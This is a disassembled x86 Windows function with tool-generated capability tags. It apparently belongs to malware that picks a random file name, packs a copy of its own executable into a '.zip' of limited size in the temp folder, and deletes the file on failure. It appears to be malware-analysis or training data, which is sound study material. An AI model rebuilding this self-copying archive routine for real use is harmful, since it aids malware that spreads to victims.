Function at 0x4029a0
Capabilities:
Check for time delay via gettickcount
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [0x413038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x314], esi
mov word [esi + 0x1b4], 0
call edi
imul eax, dword [0x414d10]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414d10], eax
shr eax, 0x10
cdq
mov ecx, 0x64
idiv ecx
cmp edx, 0x40
jge 0x4029f9
mov byte [esi + 0x1b4], 1
cmp byte [esi + 0x1b4], 0
jne 0x402a22
push 0x104
lea ebx, [esi + 0x2b7]
push ebx
push 0
mov byte [esi + 0x1b6], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x402c25
lea eax, [ebp - 0x310]
push eax
push 0x104
mov byte [esi + 0x1b6], 1
mov byte [ebp - 0x310], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp byte [ebp - 0x310], 0
je 0x402c96
lea ebx, [esi + 0x2b7]
push ebx
push 0
push 0x4109b0
lea eax, [ebp - 0x310]
push eax
mov byte [ebx], 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp byte [ebx], 0
je 0x402c96
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [esi + 0x1b5], 0
call edi
imul eax, dword [0x414d10]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414d10], eax
shr eax, 0x10
cdq
mov ecx, 0x64
idiv ecx
cmp edx, 0x28
jge 0x402abd
mov byte [esi + 0x1b5], 1
cmp byte [esi + 0x1b5], 0
jne 0x402aea
lea eax, [esi + 0x1b7]
push eax
mov edx, ebx
lea ecx, [ebp - 0x310]
call fcn.00405090
add esp, 4
test eax, eax
je 0x402c09
jmp 0x402c96
lea eax, [esi + 0x184]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4109b4
lea eax, [ebp - 0x208]
push eax
call edi
call fcn.00401230
movzx eax, ax
cdq
mov ecx, 5
idiv ecx
test edx, edx
je 0x402b42
lea eax, [edx - 1]
cmp eax, 1
lea eax, [ebp - 0x208]
ja 0x402b3b
push 0x4109b8
jmp 0x402b4d
push 0x4109bc
jmp 0x402b4d
push 0x410914
lea eax, [ebp - 0x208]
push eax
call edi
mov esi, 0x46
jmp 0x402b60
push 0x4109c0
lea eax, [ebp - 0x208]
push eax
call edi
dec esi
jne 0x402b60
push 0x4109b4
lea eax, [ebp - 0x208]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, dword [0x414d10]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414d10], eax
shr eax, 0x10
cdq
mov ecx, 3
idiv ecx
lea eax, [ebp - 0x208]
sub edx, esi
je 0x402bce
dec edx
je 0x402bbf
push 0x4109d4
push eax
call edi
push 0x4109d8
jmp 0x402bdb
push 0x4109cc
push eax
call edi
push 0x4109d0
jmp 0x402bdb
push 0x4109c4
push eax
call edi
push 0x4109c8
lea eax, [ebp - 0x208]
push eax
call edi
lea eax, [ebp - 0x208]
push eax
mov edx, ebx
lea ecx, [ebp - 0x310]
call fcn.00405090
mov esi, dword [ebp - 0x314]
add esp, 4
test eax, eax
jne 0x402c96
lea eax, [esi + 0x184]
push eax
lea eax, [esi + 0x1b7]
push str._s.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 3
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x402c86
cmp edi, 0xffffffff
je 0x402c86
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [esi + 0x3bc], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x3bc]
cmp eax, 0x400
jl 0x402c86
cmp eax, 0x4b000
jg 0x402c86
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040541b
mov esp, ebp
pop ebp
ret
cmp byte [esi + 0x1b6], 0
je 0x402c96
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040541b
mov esp, ebp
pop ebp
ret